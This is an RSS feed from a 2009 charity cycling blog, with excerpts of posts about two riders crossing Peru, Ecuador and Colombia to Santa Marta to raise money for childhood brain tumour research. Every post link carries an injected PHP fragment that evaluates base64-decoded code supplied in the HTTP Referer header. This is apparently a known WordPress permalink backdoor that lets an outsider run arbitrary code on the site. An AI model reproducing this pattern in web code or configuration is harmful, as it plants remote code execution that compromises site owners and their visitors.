http://www.bikingsouthamerica.co.uk A Sponsored Cycle Journey Spanning Seven Thousand Miles and Six Countries Raising Money and Awareness for Childhood Brain Tumours Fri, 03 Jul 2009 22:26:33 +0000 http://backend.userland.com/rss092 en Well, as you might guess by the title of the post, we´ve now reached Santa Marta and have finally finished the ride! Both of us are pretty pleased but i´m not sure it´ll sink in properly for a while yet. The final few hundred kilometres were pretty dull with, as has ... http://www.bikingsouthamerica.co.uk/2009/07/03/done-10008km-cycled-100324m-climbed-6-countries-crossed-bring-on-the-beach/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ We now had left, essentially, the final push to the coast, and that definitely was an exciting feeling as we left Medellin. We had one final mountain to climb coming out of the city, and after that it was all downhill and flat to the coast! After a couple of thousand metres ... http://www.bikingsouthamerica.co.uk/2009/06/28/medellin-to-cartagena-nearly-there/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well it´s been a little while since our last update and we´ve now come within 1000km of our final destination, Santa Marta, on the Carribbean coast. We´re now in Medellin, Colombia´s second largest city and the home to Ann, My (Dave´s) 2nd cousin. We started off with 200 kilometres of flat ... http://www.bikingsouthamerica.co.uk/2009/06/13/cali-to-medellin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The riding to the border was extremely tough at times but had some spectacular scenery. We were every day climbing over 1000m to over 3000m in regular intervals. We crossed over the border to Ipiales and were instantly impressed with how civilised and friendly Colombia appeared to be. We were ... http://www.bikingsouthamerica.co.uk/2009/05/29/hills-coffee-more-hills-and-more-coffeewelcome-to-southern-colombia%e2%80%8f/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well... we´ve just arrived in Otavalo, a nice little market town just north of Quito. The past few days leading up to otavalo have definitely been exciting. After arriving in Quito we wandered around the city for a few days taking in the sights, climbing up the pretty impressive Basilica to look ... http://www.bikingsouthamerica.co.uk/2009/05/12/two-riders-become-three/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Dave and myselfs original plan for leaving Trujillo was to bus straight up to Quito to meet our friend before our loop of Ecuador, but like most things our plan had changed...   We decided on riding across the border from the town of Sullna into Ecuador and riding as far as we ... http://www.bikingsouthamerica.co.uk/2009/05/12/into-ecuador-dogs-and-buses/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well after arriving in Huaraz we were pretty tired and wanting a good rest. Arriving at Churup hostel we realised we´d hit the jackpot. This place was so friendly and clean, and there was SO much to do about the place. The beds were more than 6ft long meaning that Tom ... http://www.bikingsouthamerica.co.uk/2009/04/26/holiday-time-in-huaraz-and-trujillo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Our last stop before the pass was the mining town of La Oroya. This is possibly the ugliest town we have ever seen with huge piles of mining waste piles up around the town and large unsightly processing plants. The place is what you imagined towns to be like during ... http://www.bikingsouthamerica.co.uk/2009/04/21/snow-to-sun-and-more-climbing-and-more-snow/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/   Good gravel, going to church and the worlds highest paved road!   Only a short update of the last few days and what is to come soon! We are trying to make updates shorter, and more regular so they are a little less time consuming to write and read!   We had a really ... http://www.bikingsouthamerica.co.uk/2009/03/29/good-gravel-going-to-church-and-the-worlds-highest-paved-road/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hi everybody, We´ve had a few emails lately saying we should maybe update you all a little more often so here goes... Since Cusco we´ve only ridden a few hundred Kms but have had loads of fun! In Cusco we hatched a plan along with Paul, Oliver and a Kiwi named Joe ... http://www.bikingsouthamerica.co.uk/2009/03/25/night-stealth-missions-tarantulas-and-a-bit-more-riding/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/